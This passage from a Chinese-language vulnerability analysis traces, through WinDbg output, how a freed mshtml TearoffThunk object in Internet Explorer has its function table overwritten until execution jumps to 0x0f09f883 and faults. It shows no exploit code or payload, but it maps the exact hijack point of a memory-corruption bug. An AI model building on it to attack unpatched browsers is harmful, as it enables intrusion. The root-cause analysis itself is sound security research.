770f5797 e8b3be0400      call    OLEAUT32!ExtractValueProperty (7714164f)
p步过,不要进去OLEAUT32!ExtractValueProperty,跟踪发现它并没有减少访问计数,继续步进直到对OLEAUT32!VariantClear的调用,注意到对OLEAUT32!VariantClear调用传入

的参数即目的Variant指针仍为0x019dc9b4,与源指针一致,这样这个调用导致对相应的对象即0x001897e0指向的TearoffThunk对象的访问计数减1(如果想要深入可以步入其中,

就可以发现把访问计数减1的就是mshtml!PlainRelease):
引用:
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b80 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000257
OLEAUT32!VariantChangeTypeEx+0x1001:
770f6b80 85db            test    ebx,ebx
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b82 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1003:
770f6b82 0f8cb6f8ffff    jl      OLEAUT32!VariantChangeTypeEx+0x102b (770f643e) [br=0]
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b88 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1005:
770f6b88 668b4518        mov     ax,word ptr [ebp+18h]    ss:0023:019dc984=0008
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b8c esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1009:
770f6b8c 668945e0        mov     word ptr [ebp-20h],ax    ss:0023:019dc94c=ffff
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b90 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0x100d:
770f6b90 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:019dc974=019dc9b4
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b93 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1010:
770f6b93 66833808        cmp     word ptr [eax],8         ds:0023:019dc9b4=0009
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b97 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1014:
770f6b97 0f8367e2ffff    jae     OLEAUT32!VariantChangeTypeEx+0x1016 (770f4e04) [br=1]
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e04 esp=019dc930 ebp=019dc96c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1016:
770f4e04 50              push    eax
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e05 esp=019dc92c ebp=019dc96c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1017:
770f4e05 e816fbffff      call    OLEAUT32!VariantClear (770f4920)
步过OLEAUT32!VariantClear,访问计数减1之后,为了不要每次循环都到这里,直接看这个TearoffThunk是在哪里被重写掉的,从前面的TearoffThunk7调用
3e5b95f1 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
可以知道关键的位置是001897f0处保存的这个函数表,对此处下4字节的硬件写入断点,运行后断下,这时已经在CreateTearoffThunk里的,该处的值确实被改为了mshtml!CWindow::s_apfnIHTMLPrivateWindow3:
引用:
0:005> ba w 4 001897f0
0:005> g
Breakpoint 3 hit
eax=001c97b0 ebx=00000000 ecx=3e5b56a4 edx=00000000 esi=001897e0 edi=7c80979e
eip=3e5b2d1f esp=019dc7bc ebp=019dc7c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CreateTearOffThunk+0x83:
3e5b2d1f 895e18          mov     dword ptr [esi+18h],ebx ds:0023:001897f8={mshtml!CSecurityThunkSub::`vftable' (3e5b45b8)}
0:005> dd 001897f0 l 1
001897f0  3e5b56a4
0:005> ln 3e5b56a4
(3e5b56a4)   mshtml!CWindow::s_apfnIHTMLPrivateWindow3   |  (3e5b56d8)   mshtml!COmWindowProxy::`vftable'
Exact matches:
    mshtml!CWindow::s_apfnIHTMLPrivateWindow3 = <no type information>
最后,把最早的那个断点重新搞上,不过这次加上条件,让它在下次访问相应TearoffThunk结构的时候正好被断下:
引用:
0:005> bp 75be3064 "j @eax=001897e0 '';gc"
0:005> g
eax=001897e0 ebx=00000002 ecx=3e80f218 edx=019dcdac esi=001897e0 edi=00039fc8
eip=75be3064 esp=019dcca0 ebp=019dccc0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c          call    dword ptr [ecx+1Ch]  ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}
步进去,最终的过程就有了:
引用:
0:005> t
eax=001897ec ebx=00000002 ecx=001c97b0 edx=019dcdac esi=001897e0 edi=00039fc8
eip=3e5b95f1 esp=019dcc98 ebp=019dccc0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)}
最后是变成jmp 0x0f09f883,以一个Access Violation异常告终:
引用:
(d4.77c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001897e0 ebx=00000002 ecx=0f09f883 edx=019dcdac esi=001897e0 edi=00039fc8
eip=0f09f883 esp=019dcc9c ebp=019dccc0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
<Unloaded_ud.drv>+0xf09f882:
0f09f883 ??              ???